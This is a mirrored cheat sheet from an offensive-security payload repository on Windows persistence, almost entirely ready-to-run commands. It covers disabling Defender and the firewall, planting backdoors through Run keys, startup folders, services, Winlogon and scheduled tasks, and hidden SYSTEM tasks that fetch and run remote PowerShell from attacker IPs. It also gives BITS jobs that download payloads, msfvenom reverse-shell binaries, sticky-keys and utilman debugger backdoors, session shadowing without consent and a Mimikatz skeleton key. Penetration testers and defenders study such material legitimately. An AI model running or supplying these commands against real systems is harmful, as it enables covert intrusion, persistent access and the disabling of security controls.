mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
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379 lines
15 KiB
Markdown
379 lines
15 KiB
Markdown
# Windows - Persistence
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## Summary
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* [Tools](#tools)
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* [Hide Your Binary](#hide-your-binary)
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* [Disable Windows Defender](#disable-windows-defender)
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* [Disable Windows Firewall](#disable-windows-firewall)
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* [Simple User](#simple-user)
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* [Registry HKCU](#registry-hkcu)
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* [Startup](#startup)
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* [Scheduled Tasks User](#scheduled-tasks-user)
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* [BITS Jobs](#bits-jobs)
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* [Serviceland](#serviceland)
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* [IIS](#iis)
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* [Windows Service](#windows-service)
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* [Elevated](#elevated)
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* [Registry HKLM](#registry-hklm)
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* [Winlogon Helper DLL](#)
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* [GlobalFlag](#)
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* [Services Elevated](#services-elevated)
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* [Scheduled Tasks Elevated](#scheduled-tasks-elevated)
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* [Binary Replacement](#binary-replacement)
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* [Binary Replacement on Windows XP+](#binary-replacement-on-windows-xp)
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* [Binary Replacement on Windows 10+](#binary-replacement-on-windows-10)
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* [RDP Backdoor](#rdp-backdoor)
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* [utilman.exe](#utilman.exe)
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* [sethc.exe](#sethc.exe)
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* [Remote Desktop Services Shadowing](#remote-desktop-services-shadowing)
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* [Skeleton Key](#skeleton-key)
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* [References](#references)
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## Tools
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- [SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r](https://github.com/fireeye/SharPersist)
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## Hide Your Binary
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> Sets (+) or clears (-) the Hidden file attribute. If a file uses this attribute set, you must clear the attribute before you can change any other attributes for the file.
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```ps1
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PS> attrib +h mimikatz.exe
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```
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## Disable Windows Defender
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```powershell
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# Disable Defender
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sc config WinDefend start= disabled
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sc stop WinDefend
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Set-MpPreference -DisableRealtimeMonitoring $true
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## Exclude a process / location
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Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
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Add-MpPreference -ExclusionProcess 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
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Add-MpPreference -ExclusionPath C:\Video, C:\install
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```
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## Disable Windows Firewall
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```powershell
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Netsh Advfirewall show allprofiles
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NetSh Advfirewall set allprofiles state off
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# ip whitelisting
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New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP
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```
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## Simple User
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Set a file as hidden
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```powershell
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attrib +h c:\autoexec.bat
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```
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### Registry HKCU
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Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.
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```powershell
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Value name: Backdoor
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Value data: C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
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```
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Using the command line
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```powershell
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reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
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reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
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reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
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reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
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```
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Using SharPersist
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```powershell
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SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
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SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
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SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
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```
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### Startup
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Create a batch script in the user startup folder.
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```powershell
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PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat
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start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
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```
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Using SharPersist
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```powershell
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SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
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```
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### Scheduled Tasks User
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Using native **schtask**
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```powershell
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# Create the scheduled tasks to run once at 00.00
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schtasks /create /sc ONCE /st 00:00 /tn "Device-Synchronize" /tr C:\Temp\revshell.exe
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# Force run it now !
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schtasks /run /tn "Device-Synchronize"
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```
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Using Powershell
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```powershell
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PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
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PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
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PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
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PS C:\> $S = New-ScheduledTaskSettingsSet
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PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
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PS C:\> Register-ScheduledTask Backdoor -InputObject $D
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```
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Using SharPersist
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```powershell
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# Add to a current scheduled task
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SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
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# Add new task
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SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
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SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
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```
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### BITS Jobs
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```powershell
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bitsadmin /create backdoor
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bitsadmin /addfile backdoor "http://10.10.10.10/evil.exe" "C:\tmp\evil.exe"
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# v1
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bitsadmin /SetNotifyCmdLine backdoor C:\tmp\evil.exe NUL
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bitsadmin /SetMinRetryDelay "backdoor" 60
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bitsadmin /resume backdoor
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# v2 - exploit/multi/script/web_delivery
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bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.10.10.10:8080/FHXSd9.sct scrobj.dll"
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bitsadmin /resume backdoor
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```
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## Serviceland
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### IIS
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IIS Raid – Backdooring IIS Using Native Modules
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```powershell
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$ git clone https://github.com/0x09AL/IIS-Raid
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$ python iis_controller.py --url http://192.168.1.11/ --password SIMPLEPASS
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C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module Name /image:"%windir%\System32\inetsrv\IIS-Backdoor.dll" /add:true
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```
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### Windows Service
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Using SharPersist
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```powershell
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SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
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```
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## Elevated
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### Registry HKLM
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Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.
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```powershell
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Value name: Backdoor
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Value data: C:\Windows\Temp\backdoor.exe
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```
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Using the command line
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```powershell
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reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
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reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
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reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
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reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
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```
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#### Winlogon Helper DLL
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> Run executable during Windows logon
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```powershell
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msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe > evilbinary.exe
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msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll > evilbinary.dll
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reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, evilbinary.exe" /f
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reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, evilbinary.exe" /f
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Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, evilbinary.exe" -Force
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Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, evilbinary.exe" -Force
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```
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#### GlobalFlag
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> Run executable after notepad is killed
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```powershell
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reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
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reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
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reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"
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```
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### Services Elevated
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Create a service that will start automatically or on-demand.
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```powershell
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# Powershell
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New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here." -StartupType Automatic
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sc start pentestlab
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# SharPersist
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SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c backdoor.exe" -n "Backdoor" -m add
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# sc
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sc create Backdoor binpath= "cmd.exe /k C:\temp\backdoor.exe" start="auto" obj="LocalSystem"
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sc start Backdoor
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```
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### Scheduled Tasks Elevated
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Scheduled Task to run as SYSTEM, everyday at 9am or on a specific day.
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> Processes spawned as scheduled tasks have taskeng.exe process as their parent
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```powershell
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# Powershell
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$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\backdoor.exe"
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$T = New-ScheduledTaskTrigger -Daily -At 9am
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# OR
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$T = New-ScheduledTaskTrigger -Daily -At "9/30/2020 11:05:00 AM"
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$P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
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$S = New-ScheduledTaskSettingsSet
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$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
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Register-ScheduledTask "Backdoor" -InputObject $D
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# Native schtasks
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schtasks /create /sc minute /mo 1 /tn "eviltask" /tr C:\tools\shell.cmd /ru "SYSTEM"
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schtasks /create /sc minute /mo 1 /tn "eviltask" /tr calc /ru "SYSTEM" /s dc-mantvydas /u user /p password
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##(X86) - On User Login
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schtasks /create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
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##(X86) - On System Start
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schtasks /create /tn OfficeUpdaterB /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
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##(X86) - On User Idle (30mins)
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schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
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##(X64) - On User Login
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schtasks /create /tn OfficeUpdaterA /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
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##(X64) - On System Start
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schtasks /create /tn OfficeUpdaterB /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
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##(X64) - On User Idle (30mins)
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schtasks /create /tn OfficeUpdaterC /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
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```
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### Binary Replacement
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#### Binary Replacement on Windows XP+
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| Feature | Executable |
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|---------------------|---------------------------------------|
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| Sticky Keys | C:\Windows\System32\sethc.exe |
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| Accessibility Menu | C:\Windows\System32\utilman.exe |
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| On-Screen Keyboard | C:\Windows\System32\osk.exe |
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| Magnifier | C:\Windows\System32\Magnify.exe |
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| Narrator | C:\Windows\System32\Narrator.exe |
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| Display Switcher | C:\Windows\System32\DisplaySwitch.exe |
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| App Switcher | C:\Windows\System32\AtBroker.exe |
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In Metasploit : `use post/windows/manage/sticky_keys`
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#### Binary Replacement on Windows 10+
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Exploit a DLL hijacking vulnerability in the On-Screen Keyboard **osk.exe** executable.
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Create a malicious **HID.dll** in `C:\Program Files\Common Files\microsoft shared\ink\HID.dll`.
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### RDP Backdoor
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#### utilman.exe
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At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM.
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```powershell
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REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
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```
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#### sethc.exe
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Hit F5 a bunch of times when you are at the RDP login screen.
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```powershell
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REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
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```
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### Remote Desktop Services Shadowing
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:warning: FreeRDP and rdesktop don't support Remote Desktop Services Shadowing feature.
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Requirements:
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* RDP must be running
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```powershell
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reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 4
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# 4 – View Session without user’s permission.
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# Allowing remote connections to this computer
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reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
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# Disable UAC remote restriction
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reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
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mstsc /v:{ADDRESS} /shadow:{SESSION_ID} /noconsentprompt /prompt
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# /v parameter lets specify the {ADDRESS} value that is an IP address or a hostname of a remote host;
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# /shadow parameter is used to specify the {SESSION_ID} value that is a shadowee’s session ID;
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# /noconsentprompt parameter allows to bypass a shadowee’s permission and shadow their session without their consent;
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# /prompt parameter is used to specify a user’s credentials to connect to a remote host.
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```
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### Skeleton Key
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```powershell
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# Exploitation Command runned as DA:
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Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DCs FQDN>
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# Access using the password "mimikatz"
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Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator
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```
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## References
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* [A view of persistence - Rastamouse](https://rastamouse.me/2018/03/a-view-of-persistence/)
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* [Windows Persistence Commands - Pwn Wiki](http://pwnwiki.io/#!persistence/windows/index.md)
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* [SharPersist Windows Persistence Toolkit in C - Brett Hawkins](http://www.youtube.com/watch?v=K7o9RSVyazo)
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* [IIS Raid – Backdooring IIS Using Native Modules - 19/02/2020](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/)
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* [Old Tricks Are Always Useful: Exploiting Arbitrary File Writes with Accessibility Tools - Apr 27, 2020 - @phraaaaaaa](https://iwantmore.pizza/posts/arbitrary-write-accessibility-tools.html)
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* [Persistence - Checklist - @netbiosX](https://github.com/netbiosX/Checklists/blob/master/Persistence.md)
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* [Persistence – Winlogon Helper DLL - @netbiosX](https://pentestlab.blog/2020/01/14/persistence-winlogon-helper-dll/)
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* [Persistence - BITS Jobs - @netbiosX](https://pentestlab.blog/2019/10/30/persistence-bits-jobs/)
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* [Persistence – Image File Execution Options Injection - @netbiosX](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)
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* [Persistence – Registry Run Keys - @netbiosX](https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/) |